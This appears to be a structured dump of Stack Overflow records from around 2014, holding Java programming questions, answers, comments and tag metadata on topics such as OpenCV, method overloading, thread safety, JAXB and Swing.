has body: I've written an image processing routine with OpenCV in C++. Right now I am converting my code into Java, because I have more Java skills than C++. I am using the Scalar Datatype out of the org.opencv.core.Scalar Library. In C++ I was able to extract single Scalar values just like this Scalar scalar = Scalar(1.0,2.0,3.0); double value1 = scalar[0]; If i do this in Java I get the Error "array required, but scalar found". How can I get single Values out of a Scalar in Java?
favorite count: 0
score: 2
type: AnsweredQuestion
downvote count: 0
tagged with: java
type: Question
tagged with: opencv
accepted answer: http://stackoverflow.com/a/22269491
has title: OpenCV java get values from scalar
linked to: http://stackoverflow.com/q/23510571

http://stackoverflow.com/q/22308358
tagged with: java
has body: Is this equation unavailable for opengles? docs of glBlendEquotation says it is but Is it possible to achieve MAX(As,Ad) openGL blending? says otherwise. Is this only for iphone? I am working with libgdx/opengl es. I want to blend some cloudy textures together but I don't want to add alpha of textures, final alpha should be maximum alpha that is written on that pixel. How can I achieve such a thing on opengl es? Well, looks like Gdx.gl20.glBlendEquationSeparate(Gdx.gl20.GL_FUNC_ADD, 0x8008); works for my PC emulator and my phone (0x8008 is GL_MAX_EXT) but I guess that is not guaranteed.
type: Question
tagged with: libgdx
upvote count: 2
linked to: http://stackoverflow.com/q/2143690
tagged with: opengl-es
favorite count: 0
type: UnansweredQuestion
tagged with: android
has title: GL_MAX_EXT for glBlendEquation
score: 2
downvote count: 0
answer count: 0

http://stackoverflow.com/comment/33864759
score: 0
type: Comment
has text: After these two changes it finally worked. Thanks for the help.
type: AnswerComment
comment on: http://stackoverflow.com/a/22290055

http://stackoverflow.com/q/22233616
score: 0
tagged with: groovy
tagged with: readlines
has title: Groovy Reader HashSet on readLines() returns out of order
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33762227
tagged with: java
has body: I'm VERY newb at Groovy (and most back end.) I'm typically a JS developer, so bear with me. I have a static .txt file that's holding a manifest, one item per line: asdf/asdf/rewer.js asdf/asdf/opuio.js asdf/asdf/rnieo.js asdf/asdf/tewoe.js I have successfully read it with readLines() and converted it to an array using HashSet(). However, this array is not in the original order of the file... nor is it alphabetical. So I'm at a loss how this is being ordered or how to maintain the correct order. How can order be maintained? (Don't ask why I'm listing JS files in a .txt and pulling them in this way. It's a crazy, convoluted requirement. Just looking to keep the order.) Thanks
has answer: http://stackoverflow.com/a/22233724
accepted answer: http://stackoverflow.com/a/22233724
type: Question
answer count: 1
tagged with: hashset

http://stackoverflow.com/a/22182428
score: 0
has comment: http://stackoverflow.com/comment/33671088
type: Answer
answers question: http://stackoverflow.com/q/22181464
has body: If you prefer a free Java AppEngine data storage solution, seriously consider AppEngine Datastore. And if you're open to opinions (sorry, not really on-topic on StackOverflow), my impression of JDO and JPA as abstraction layers on top of the Low Level Datastore API is that they are not worth using, especially as application complexity increases. Read previous StackOverflow questions about these APIs to get an impression of the kinds of problems you might encounter. At least the Low Level Datastore API gives you contact with the code that is going to eventually do the work anyway. The hardest work in my opinion would be to redesign your application features that are based on relational assumptions (again see relevant SO questions). You are clear that many to many relations are not feasible with Datastore. The NoSQL approach might cause duplication of data (redundancy instead of normal form) and eventual consistency. That might clash with your SQL expectations but don't worry, the change is worth it. Your example of a ticket being related to a passenger and also a flight would be fine with three Kinds in the Datastore. Move the relational constraints into the application code, for example do not delete a passenger if a ticket for that passenger exists.

http://stackoverflow.com/q/22236125
has comment: http://stackoverflow.com/comment/33766683
tagged with: overriding
has comment: http://stackoverflow.com/comment/33767214
has comment: http://stackoverflow.com/comment/33766716
has comment: http://stackoverflow.com/comment/33767326
has answer: http://stackoverflow.com/a/22236163
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33767264
has body: Good morning all. I thought I knew what does overriding and overloading means and tried to explain it to my friend. Everything was good, but when i came home i decided to write this example. public class Car{ public void say(){ System.out.println("Dodge"); } public static void main(String[] args){ Car c = new Dodge(); new Car().print(c); } public void print(Car t){ System.out.println("Car"); } public void print(Dodge b){ System.out.println("Dodge"); } } class Dodge extends Car{ public void say(){ System.out.println("Dodge"); } } It's obvious that if we run this code: "Car" will be the output. Because compiler will find method which takes format object Car. But what if we change main method like this: public static void main(String[] args){ new Car().print(null); } The output will be: "Dodge" and i can't figure out why? Can smb explain please? P.S. I tried wrote also this code: public class Car{ public void say(){ System.out.println("Dodge"); } public static void main(String[] args){ new Car().print(null); } public void print(BigInteger t){ System.out.println("Car"); } public void print(Double b){ System.out.println("Dodge"); } } and Idea tells me that: Ambiguous method call. Both print (BigInteger) in Car and print (Double) in Car match This message is obvious. Does hierarchy influence on this and why? Please, tell me what I'm missing.
has comment: http://stackoverflow.com/comment/33767248
accepted answer: http://stackoverflow.com/a/22236163
has comment: http://stackoverflow.com/comment/33767178
has title: Overriding method (early join) and putting "null"
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33767066
tagged with: java
has comment: http://stackoverflow.com/comment/33768451
has comment: http://stackoverflow.com/comment/33767298
type: Question

http://stackoverflow.com/a/22194303
has comment: http://stackoverflow.com/comment/33690742
has comment: http://stackoverflow.com/comment/33691523
accepted answer of: http://stackoverflow.com/q/22194218
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22194218
type: Answer
score: 2
has body: Just do: Pattern.compile("^/c/en/([^/]+)") and use a Matcher's .find() against the input. The substring will be available in this matcher's .group(1).
upvote count: 2

cucumber-jvm
tag name: cucumber-jvm
type: Tag
tags question: http://stackoverflow.com/q/22224952
tags question: http://stackoverflow.com/q/22320951
tags question: http://stackoverflow.com/q/22225073

graphics
tag name: graphics
tags question: http://stackoverflow.com/q/22232507
tags question: http://stackoverflow.com/q/22265452
tags question: http://stackoverflow.com/q/22204200
tags question: http://stackoverflow.com/q/22291000
tags question: http://stackoverflow.com/q/22271175
type: Tag
tags question: http://stackoverflow.com/q/22209968
tags question: http://stackoverflow.com/q/22315518
tags question: http://stackoverflow.com/q/22240328
tags question: http://stackoverflow.com/q/22314559
tags question: http://stackoverflow.com/q/22283462
tags question: http://stackoverflow.com/q/22275668
tags question: http://stackoverflow.com/q/22266216
tags question: http://stackoverflow.com/q/22206998
tags question: http://stackoverflow.com/q/22200653
tags question: http://stackoverflow.com/q/22290630
tags question: http://stackoverflow.com/q/22210292

http://stackoverflow.com/q/22289789
accepted answer: http://stackoverflow.com/a/22289939
favorite count: 0
has body: I have two classes A and B: class A { private final String someData; private B b; public String getSomeData() { return someData; } public B getB() { if (b == null) { b = new B(someData); } return b; } } where B is immutable and computes its data only from an instance of A. A has immutable semantics, but it's internals are mutable (like hashCode in java.lang.String). When I call getB() from two different threads, and the calls overlap, I assume each thread gets its own instance of B. But since the constructor of B gets only immutable data, the two instances of B should be equal. Is that correct? If not, must I make getB() synchronized to make it thread-safe? Assume that B implements equals(), which compares all instance variables of B. Same for hashCode()
type: Question
tagged with: multithreading
answer count: 2
has comment: http://stackoverflow.com/comment/33864160
tagged with: immutability
upvote count: 3
tagged with: java
tagged with: thread-safety
has comment: http://stackoverflow.com/comment/33864343
has answer: http://stackoverflow.com/a/22289939
tagged with: lazy-initialization
downvote count: 0
possible better answer: http://stackoverflow.com/a/22290781
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/33864231
has title: Is lazy initialization with immutable data always thread-safe?
has answer: http://stackoverflow.com/a/22290781

http://stackoverflow.com/a/22180356
has comment: http://stackoverflow.com/comment/33676803
has comment: http://stackoverflow.com/comment/33676830
has comment: http://stackoverflow.com/comment/33678369
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22180081
has body: I don't fully understand your underlying question, but... Wrapping a BufferedWriter with a PrintWriter pretty much has to to be slower, since it is added a layer of calls. System.out and .err are PrintStream objects, not PrintWriter. Is that what you mean by the console? I'm pretty sure you should not wrap either of them.

http://stackoverflow.com/comment/33678461
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22186042
type: AnswerComment
has text: I would use `BufferedReader` as opposed to `Scanner`. Not only has it been around longer, but it is **synchronized**! :-) Just follow the comments where I create the BufferedReader based on your needs.

http://stackoverflow.com/comment/33930248
has text: @user3405919: You should use separate cell renderers for each separate column.
comment on: http://stackoverflow.com/a/22325169
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/22170635
has comment: http://stackoverflow.com/comment/33650003
downvote count: 0
tagged with: runtime
has answer: http://stackoverflow.com/a/22171299
has comment: http://stackoverflow.com/comment/33648667
has comment: http://stackoverflow.com/comment/33648740
has comment: http://stackoverflow.com/comment/33648466
favorite count: 0
has comment: http://stackoverflow.com/comment/33648289
tagged with: out-of-memory
tagged with: heap-size
score: 6
accepted answer: http://stackoverflow.com/a/22171299
upvote count: 6
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33648819
possible better answer: http://stackoverflow.com/a/22171127
tagged with: java
has answer: http://stackoverflow.com/a/22171127
has body: I need to find out when I'm really close to the OutOfMemoryError so I can flush results to file and call runtime.gc();. My code is something like this: Runtime runtime = Runtime.getRuntime(); ... if ((1.0 * runtime.totalMemory() / runtime.maxMemory()) &gt; 0.9) { ... flush results to file ... runtime.gc(); } Is there a better way to do this? Can someone give me a hand please? EDIT I understood that I am playing with fire this way so I reasoned to a more solid and simple way of determining when I've had enough. I am currently working with the Jena model so I do a simple check: if the model has more than 550k statements then I flush so I don't run any risks.
has comment: http://stackoverflow.com/comment/33650650
type: Question
answer count: 2
has title: How to determine in java when I'm near to the OutOfMemoryError?

http://stackoverflow.com/a/22176911
answers question: http://stackoverflow.com/q/22176840
upvote count: 1
downvote count: 0
type: Answer
has body: That's not the correct syntax for try. Use try { Integer.parseInt(s); return true; } catch (Exception ex) { return false; }
score: 1

http://stackoverflow.com/a/22196764
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/22191021
has body: I think it is jaxb version problem. after adding this content to POM.xml javax.xml.bind jaxb-api 2.2.7 com.sun.xml.bind jaxb-impl 2.2.7 this problem is disappeared I investigated problem and I confused. I have 2 projects - project1 and project2. I noticed that for project1 valid javax.xml.bind jaxb-api 2.2.7 com.sun.xml.bind jaxb-impl 2.2.7 and javax.xml.bind jaxb-api 2.2.6 javax.xml jaxb-impl 2.1 But for project2 valid only dependency> javax.xml.bind jaxb-api 2.2.7 com.sun.xml.bind jaxb-impl 2.2.7 I am very confused and messed. But I want to know true about this problem.
score: 0
accepted answer of: http://stackoverflow.com/q/22191021

http://stackoverflow.com/comment/33845465
type: QuestionComment
comment on: http://stackoverflow.com/q/22279489
has text: You should not use Commons HttpClient (which is no more supported), but instead use HttpComponents HttpClient: https://hc.apache.org/httpcomponents-client-4.3.x/index.html
score: 0
type: Comment

http://stackoverflow.com/comment/33852534
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22282393
has text: This could also explain why various `ActionListener`s don't seem to work inside a JList.
type: AnswerComment

http://stackoverflow.com/q/22246171
tagged with: websphere
has comment: http://stackoverflow.com/comment/33887197
has title: Exception Initializer Error in WebSphere 8.5.5
has comment: http://stackoverflow.com/comment/33875853
has comment: http://stackoverflow.com/comment/33785237
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33875757
answer count: 0
tagged with: java
type: Question
has body: Whilst migrating from WebSphere 6.1 to WebSphere 8.5.5, an application throws an ExceptionInitialiserError On investigation, the URI created from WebSphere 8.5.5. returns bundleresource://129.fwk1900998897/ But the URI from WebSphere 6.1 the return is file:/C:/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/ This seems to an issue with the xwork from apache. Any thoughts. sanj
score: 0

http://stackoverflow.com/q/22224815
type: UnansweredQuestion
has title: how to parsing 10 digit number text into integer in java
has answer: http://stackoverflow.com/a/22225061
has comment: http://stackoverflow.com/comment/33745275
has comment: http://stackoverflow.com/comment/33745120
has body: I have set "phone" as int of 10 digit in database and take input as text which I parse using String phone1=request.getParameter("phone"); int phone =Integer.parseInt(phone1); but it does not work why?
score: 2
tagged with: java
has comment: http://stackoverflow.com/comment/33745116
has comment: http://stackoverflow.com/comment/33745209
type: Question
has comment: http://stackoverflow.com/comment/33745144
upvote count: 3
answer count: 3
has comment: http://stackoverflow.com/comment/33745339
downvote count: 1
has answer: http://stackoverflow.com/a/22225119
has answer: http://stackoverflow.com/a/22225109
favorite count: 0

http://stackoverflow.com/comment/33649518
comment on: http://stackoverflow.com/a/22170999
type: AnswerComment
score: 0
type: Comment
has text: This is possible, but does not allow changing the delimiter easily, with a source like `[1][2],[3]` for example you will run into problems

http://stackoverflow.com/a/22292514
score: 1
upvote count: 1
downvote count: 0
has body: The name of the variable that references the created object does not define the object, and can't be assigned during runtime. So to create a "name" to referece an object, and you can use this object later through your "script" (the strings you mention), you would need to implement this by yourself. One way to do this is to have a Map&lt;String, Object&gt;, where you add a name and points the value (of the Map) to the object every time you create a new object (when processing strings like the example). The problem with this approach is that if you never delete this Map entries, this object will never be freed from memory by the Garbage Collector. To fix that, you should have some way in your "script" to tell when to free an object created.
type: Answer
answers question: http://stackoverflow.com/q/22292229

http://stackoverflow.com/q/22254825
possible better answer: http://stackoverflow.com/a/22255233
has answer: http://stackoverflow.com/a/22255233
type: AnsweredQuestion
tagged with: java
favorite count: 0
tagged with: concurrency
type: Question
score: 5
has comment: http://stackoverflow.com/comment/33800505
accepted answer: http://stackoverflow.com/a/22254984
answer count: 3
has comment: http://stackoverflow.com/comment/33800554
has comment: http://stackoverflow.com/comment/33800514
has answer: http://stackoverflow.com/a/71092891
has body: I've found strange behavior of java concurrency. See on the next code below: public class Test { static CountDownLatch latch = new CountDownLatch(1); public static void main(String[] args) throws UnsupportedEncodingException, InterruptedException { final Thread t = new MyThread(); t.start(); synchronized (t) { latch.countDown(); System.out.println("got to sleep"); t.wait(); System.out.println("wake up"); } } static class MyThread extends Thread { @Override public void run() { try { latch.await(); } catch (InterruptedException e) { e.printStackTrace(); } synchronized (this) { System.out.println("inside run"); // notifyAll(); } } } } In my point of view this code should be hang up and wait forever, but code is finished without any problem with next out in console: got to sleep inside run wake up I've tried to find some information about notifying locks if thread is died, but was lack in it. Also I've not find any information in java specification. But if I've tried to lock on some other object (not on the thread object) it was work fine as I expected.
has answer: http://stackoverflow.com/a/22254984
upvote count: 5
downvote count: 0
has title: Strange java behavior of wait/notify
tagged with: multithreading

http://stackoverflow.com/comment/33824601
score: 0
type: Comment
has text: Should also be tagged swing/awt.
type: QuestionComment
comment on: http://stackoverflow.com/q/22268082

http://stackoverflow.com/comment/33893044
score: 0
type: Comment
has text: The single approach is cleaver and solves the problem, although the JFace throws a bit of an obstacle, but my question is still interesting, nonetheless. I came across this link posted in one of the two links that you gave, http://www.chrisnewland.com/select-correct-swt-jar-for-your-os-and-jvm-at-runtime-191, but that deals with a single swt.jar not the zip file.
comment on: http://stackoverflow.com/q/22303755
type: QuestionComment

http://stackoverflow.com/comment/33929474
comment on: http://stackoverflow.com/a/22325752
type: Comment
score: 0
type: AnswerComment
has text: just call gettag(1,2)1=pass whole xml in string 2 = tag whatever value you want to know like in your programme ReportLimit it return 1000

http://stackoverflow.com/comment/33792136
has text: It's not clear what you want but you sure if you read [how to use comboboxes](http://docs.oracle.com/javase/tutorial/uiswing/components/combobox.html) you'll solve it
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22250386

http://stackoverflow.com/a/22278595
has comment: http://stackoverflow.com/comment/33882523
has body: First of all numOfEach should be an int array and not a char array You can write count function as : public static void count(char[] grade,int []count)//changed { int numofa = 0, numofb = 0, numofc = 0, numofd = 0, numoff = 0; for (int i = 0; i &lt; grade.length; i++){ if (grade[i] == 'A'){ numofa++; }else if (grade[i] == 'B'){ numofb++; }else if (grade[i] == 'C'){ numofc++; }else if (grade[i] == 'D'){ numofd++; }else if (grade[i] == 'F'){ numoff++; } } //changed count[0]=numofa; count[1]=numofb; count[2]=numofc; count[3]=numofd; count[4]=numoff; } and the call to this function would be like count(grade,numOfEach);
score: 0
has comment: http://stackoverflow.com/comment/33853697
answers question: http://stackoverflow.com/q/22278454
type: Answer

http://stackoverflow.com/a/22540755
type: Answer
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/34312107
answers question: http://stackoverflow.com/q/22289753
downvote count: 0
has body: Project Avatar does indeed layer on top of Avatar.js; the code is integrated into our build using Maven. (The jar you found, Johann, was old because we no longer use it -- I just nuked it, thanks). And yes, we're aware that our docs need more work. For now, we are focussing on fleshing out the server-side JavaScript framework. This services layer provides a runtime tuned for easily creating REST, WebSocket and Server-Sent Event endpoints.

http://stackoverflow.com/comment/33672375
type: Comment
has text: I think it is more flexible now to use V in Assembler as such: `MyAssembler<T, S, V> extends Assembler<T, S>`.
score: 0
comment on: http://stackoverflow.com/a/22181563
type: AnswerComment

http://stackoverflow.com/comment/58957934
type: Comment
comment on: http://stackoverflow.com/a/28295682
has text: Fixed it for me. I wonder, however. Is there a file that needs deleted? Will this just extend the timespan between problems?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/33755271
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22229497
has text: Ah, I see. That's a very unfortunately unhelpful stack trace you've been given.

http://stackoverflow.com/comment/33771613
type: Comment
comment on: http://stackoverflow.com/a/22238011
has text: Thanks a lot... it was eaier than i thought :)
score: 0
type: AnswerComment

http://stackoverflow.com/a/22315748
has body: Simplest way to do what you want is: HashMap&lt;Character, Integer&gt; map3 = new HashMap&lt;Character, Integer&gt;(); map3.putAll(map1); map3.putAll(map2); Hope this helps.
has comment: http://stackoverflow.com/comment/33910663
score: 0
answers question: http://stackoverflow.com/q/22315655
type: Answer

http://stackoverflow.com/a/22266919
type: Answer
has body: Probably your lv.bulls is null. Please make sure you have TextView with id = tvBulls (case-sensitive) at your layout.
score: 0
answers question: http://stackoverflow.com/q/22266798

http://stackoverflow.com/q/22243429
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25517944
tagged with: java
downvote count: 3
has answer: http://stackoverflow.com/a/22244354
has comment: http://stackoverflow.com/comment/33780007
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/33780313
upvote count: 0
has title: error using neo4j in jdk tools
tagged with: neo4j
has body: i was trying to run example from neo4j but was unable to so i think there's an error of packages not found can anyone please solve yhis 4 me. thanks in advance D:\Practice&gt;javac EmbeddedNeo4j.java&gt;a.txt EmbeddedNeo4j.java:4: package org.neo4j.graphdb does not exist import org.neo4j.graphdb.Direction; ^ EmbeddedNeo4j.java:5: package org.neo4j.graphdb does not exist import org.neo4j.graphdb.GraphDatabaseService; ^ EmbeddedNeo4j.java:6: package org.neo4j.graphdb does not exist import org.neo4j.graphdb.Node; ^ EmbeddedNeo4j.java:7: package org.neo4j.graphdb does not exist import org.neo4j.graphdb.Relationship; ^ EmbeddedNeo4j.java:8: package org.neo4j.graphdb does not exist import org.neo4j.graphdb.RelationshipType; ^ EmbeddedNeo4j.java:9: package org.neo4j.graphdb does not exist import org.neo4j.graphdb.Transaction; ^ EmbeddedNeo4j.java:10: package org.neo4j.graphdb.factory does not exist import org.neo4j.graphdb.factory.GraphDatabaseFactory; ^ EmbeddedNeo4j.java:11: package org.neo4j.kernel.impl.util does not exist import org.neo4j.kernel.impl.util.FileUtils; ^ EmbeddedNeo4j.java:12: package org.neo4j.kernel does not exist import org.neo4j.kernel.StoreLocker; ^ EmbeddedNeo4j.java:22: cannot find symbol symbol : class GraphDatabaseService location: class EmbeddedNeo4j GraphDatabaseService graphDb; ^ EmbeddedNeo4j.java:23: cannot find symbol symbol : class Node location: class EmbeddedNeo4j Node firstNode; ^ EmbeddedNeo4j.java:24: cannot find symbol symbol : class Node 20 errors; help me removing these errors so that i could run my code and i coulb be able to use neo4j as my backend
favorite count: 0
score: -3
tagged with: cypher
has comment: http://stackoverflow.com/comment/33781706

http://stackoverflow.com/comment/33646848
type: QuestionComment
comment on: http://stackoverflow.com/q/22169373
has text: There should be no warning in this case. Are you sure it is `List<TableModel> list` and not `List list`?
score: 0
type: Comment

http://stackoverflow.com/q/22286866
downvote count: 0
has body: I need a free embeddable database for use in a commercial java application. It should support search by secondary indexes, operators AND/OR, results ordering and range queries. I expect high amounts of concurrent reads and writes, where the latter are usually multiple object updates on a small subset of the object's properties (or row columns in SQL). I have explored Hazelcast and CQEngine, but they don’t seem to support such partial updates, i.e. if I need to update a single property of 1000 objects it will rebuild ALL indexes on all the 1000 objects, instead of updating the index for the changed property only. I could also explore some relational databases like H2 and SQLite, but the problem there is that the set of columns per table (object's properties) is dynamic, i.e. can change dynamically at runtime. This would lead to altering the schema and rebuilding the whole table and indexes whenever I need to add/remove columns. Any suggestions for an embedded db or query engine that meets my needs?
favorite count: 0
tagged with: embedded-database
tagged with: nosql
type: UnansweredQuestion
upvote count: 1
type: Question
score: 1
tagged with: java
tagged with: database
has title: Embedded database for Java supporting partial object updates
has answer: http://stackoverflow.com/a/23319713
tagged with: sql
answer count: 1

http://stackoverflow.com/a/22307469
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22307225
type: Answer
answers question: http://stackoverflow.com/q/22307225
has body: What you can do is create a PreparedStatement instead of a Statement object, and you can bind the values you need to the statement as you need them. For blobs, one thing you can use is a binary stream. PreparedStatement ps = con.PrepareStatement("INSERT STATEMENT"); InputStream is = new FileInputStream(fi); ps.setBinaryStream(n, is, fileContent.length); where n is the index in the prepared statement, which is in your case 3 if you bind every value.

http://stackoverflow.com/comment/33885952
type: Comment
comment on: http://stackoverflow.com/a/22302340
type: AnswerComment
has text: You're too late to the party. ;-)
score: 0

http://stackoverflow.com/comment/33918071
comment on: http://stackoverflow.com/a/22295829
type: Comment
score: 0
type: AnswerComment
has text: Yeah, that's true. But when I run `exec:java`, it cannot parse it correctly.

http://stackoverflow.com/comment/33832154
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22272372
score: 2
has text: So, what exactly is your question?

http://stackoverflow.com/q/22325395
answer count: 4
has answer: http://stackoverflow.com/a/22325443
has title: not a statement error in if statement within switch case
type: AnsweredQuestion
tagged with: if-statement
tagged with: java
has answer: http://stackoverflow.com/a/22325493
tagged with: switch-statement
type: Question
possible better answer: http://stackoverflow.com/a/22325447
has answer: http://stackoverflow.com/a/22325447
accepted answer: http://stackoverflow.com/a/22325443
score: 0
has body: My problem arises in the if statement - in the event that the variable "hours" is greater than 10, i wish to multiply the additional hours by 2.00 and add 9.95 to the result but i receive an error at compilation and I don't understand why. Any help is much appreciated. String choice; double hours; Scanner input = new Scanner(System.in); System.out.print("Enter which package you are using A, B or C? "); choice = input.nextLine(); choice = choice.toUpperCase(); System.out.print("Enter the amount of hours used: "); hours = input.nextDouble(); switch ( choice ) { case "A": if ( hours &gt; 10 ){ (( hours - 10) * 2 ) + 9.95; &lt;&lt; ERROR: Not a statement! } else System.out.println("Total: $9.95"); break; For references sake this has been answered and edited to: case "A": if ( hours &gt; 10 ){ total = (( hours - 10) * 2 ) + 9.95; // Initialised to total System.out.println("Total: $" + total); } else System.out.println("Total: $9.95"); break;
has answer: http://stackoverflow.com/a/22325446

http://stackoverflow.com/a/22279286
has body: Use NumberFormat with Locale#US to add ,s to the number: String myNumber = NumberFormat.getNumberInstance(Locale.US).format(number); And then replace every , with a space: myNumber = myNumber.replace(",", " "); Or, as @EvgeniyDorofeev suggested, use Locale#FRANCE and you won't have to replace anything :) Please note the difference between replace and replaceAll. See String#replace that accepts a CharSequence and please try the code. They both replace all characters, replaceAll accepts a regex, which I don't need in this case.
score: 5
downvote count: 0
has comment: http://stackoverflow.com/comment/33844990
has comment: http://stackoverflow.com/comment/33845004
type: Answer
has comment: http://stackoverflow.com/comment/33845000
upvote count: 5
answers question: http://stackoverflow.com/q/22279280
has comment: http://stackoverflow.com/comment/33845014
has comment: http://stackoverflow.com/comment/33845052
has comment: http://stackoverflow.com/comment/33845175

http://stackoverflow.com/a/22208877
answers question: http://stackoverflow.com/q/22207887
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33717698
type: Answer
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/22207887
has body: The format of the pattern for the activityPatternBinding is 'contributing plugin id / item id'. Also the default pattern is a regular expression, you want an exact match here. So you want: &lt;activityPatternBinding isEqualityPattern="true" activityId="rename.disable" pattern="org.eclipse.ui/org.eclipse.ui.edit.rename"/&gt;

http://stackoverflow.com/q/22234497
has comment: http://stackoverflow.com/comment/33763573
has comment: http://stackoverflow.com/comment/33763758
has answer: http://stackoverflow.com/a/22234587
has title: java: reference to .. is ambiguous, both method method1 and method2 in ... match
has answer: http://stackoverflow.com/a/22234648
accepted answer: http://stackoverflow.com/a/22234932
tagged with: variadic-functions
favorite count: 0
has comment: http://stackoverflow.com/comment/33763715
possible better answer: http://stackoverflow.com/a/22234587
score: 6
downvote count: 1
has comment: http://stackoverflow.com/comment/33763703
answer count: 4
linked to: http://stackoverflow.com/q/14053596
tagged with: overloading
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33763515
tagged with: java
has comment: http://stackoverflow.com/comment/33763747
has answer: http://stackoverflow.com/a/22234625
duplicate of: http://stackoverflow.com/q/14053596
has comment: http://stackoverflow.com/comment/33764042
upvote count: 7
has answer: http://stackoverflow.com/a/22234932
has comment: http://stackoverflow.com/comment/33763631
has comment: http://stackoverflow.com/comment/33763931
type: Question
has body: I faced with same code: public class Devk{ public static void tMeth(Integer... i){ System.out.print("A"); } public static void tMeth(int... i){ System.out.print("B"); } public static void main(String args[]){ tMeth(Integer.valueOf("7"));//compile error tMeth(new int[2]); //returns B tMeth(new Integer[2]); //returns A } } after invokation I see java: reference to tMeth is ambiguous, both method tMeth(java.lang.Integer...) in GenericsTest.Test1 and method tMeth(int...) in GenericsTest.Test1 match method Integer.valueOf("7") returns Integer wrapper. I expect to see A in console. Who can explain this behaviour and provide general rule for this ? P.S. public static void tMeth(Integer i){ System.out.print("A"); } public static void tMeth(int i){ System.out.print("B"); } public static void main(String args[]){ tMeth(1); //returns B tMeth(new Integer(1)); //returns A }

http://stackoverflow.com/q/22289028
upvote count: 1
has comment: http://stackoverflow.com/comment/33862707
has body: I have no idea to resolve this, k and i what type will be? while (k&lt;=i &amp;&amp; i&lt;=k &amp;&amp; k!=i){ }
tagged with: java
has comment: http://stackoverflow.com/comment/33862713
type: Question
answer count: 2
has title: Funny stuff. Define this two variable to get an infinite loop?
downvote count: 5
tagged with: variables
favorite count: 0
has answer: http://stackoverflow.com/a/22289102
has comment: http://stackoverflow.com/comment/33862729
has answer: http://stackoverflow.com/a/22289105
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/5117132
score: -4

http://stackoverflow.com/q/22181873
accepted answer: http://stackoverflow.com/a/22182030
has answer: http://stackoverflow.com/a/22182088
has title: Save a checkbox in JFrame
tagged with: jframe
has comment: http://stackoverflow.com/comment/33669240
has answer: http://stackoverflow.com/a/22182086
answer count: 4
has body: SO I made a Java Program and there is a check box in my code. I want the check box variable saved for next startup on the JFrame application. I want the check box "Exit Launcher on Support" variable and the "Developer Console" to remember upon startup. Code: import javax.swing.JFrame; public class Settings { /** * @wbp.parser.entryPoint */ static void appSettings() { JFrame settingsApp = new JFrame(); settingsApp.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); settingsApp.setAlwaysOnTop(true); settingsApp.setResizable(false); settingsApp.setVisible(true); settingsApp.setTitle("Launcher Settings"); settingsApp.setSize(350, 500); settingsApp.getContentPane().setLayout(new GridLayout(1, 0, 0, 0)); JPanel panel = new JPanel(); settingsApp.getContentPane().add(panel); SpringLayout sl_panel = new SpringLayout(); panel.setLayout(sl_panel); JLabel lblInfo = new JLabel("This is the settings window for the DevCity13 Launcher."); sl_panel.putConstraint(SpringLayout.NORTH, lblInfo, 10, SpringLayout.NORTH, panel); sl_panel.putConstraint(SpringLayout.WEST, lblInfo, 10, SpringLayout.WEST, panel); panel.add(lblInfo); JCheckBox chckbxDevoleperConsole = new JCheckBox("Devoleper Console"); chckbxDevoleperConsole.setToolTipText("Activate the devoleper console for error/glitch checking."); chckbxDevoleperConsole.setEnabled(false); sl_panel.putConstraint(SpringLayout.NORTH, chckbxDevoleperConsole, 6, SpringLayout.SOUTH, lblInfo); sl_panel.putConstraint(SpringLayout.WEST, chckbxDevoleperConsole, 10, SpringLayout.WEST, panel); panel.add(chckbxDevoleperConsole); JCheckBox chckbxSupportexit = new JCheckBox("Exit Launcher under Support"); chckbxSupportexit.setToolTipText("Close the Launcher Window when Support button is pressed."); sl_panel.putConstraint(SpringLayout.NORTH, chckbxSupportexit, 6, SpringLayout.SOUTH, chckbxDevoleperConsole); sl_panel.putConstraint(SpringLayout.WEST, chckbxSupportexit, 10, SpringLayout.WEST, panel); panel.add(chckbxSupportexit); } } Please help...
type: AnsweredQuestion
score: 0
tagged with: java
has answer: http://stackoverflow.com/a/22182030
tagged with: swing
type: Question
possible better answer: http://stackoverflow.com/a/22182264
has answer: http://stackoverflow.com/a/22182264
tagged with: jcheckbox
has comment: http://stackoverflow.com/comment/33669339

http://stackoverflow.com/comment/33953440
has text: Thank you sir, +1. But, I also would really like some help on how to store it in a file and call from/write to said file... Any ideas on that?
type: AnswerComment
comment on: http://stackoverflow.com/a/22340554
score: 0
type: Comment

http://stackoverflow.com/comment/33713243
type: Comment
score: 2
comment on: http://stackoverflow.com/a/22206507
type: AnswerComment
has text: In general you want a single `DispatcherServlet` but there are situations in which you want different configurations and as such have multiple `DispatcherServlet` instances. (This is also the reason why the `ContextLoaderListener`s context serves as a parent).

http://stackoverflow.com/q/22284375
tagged with: output
type: Question
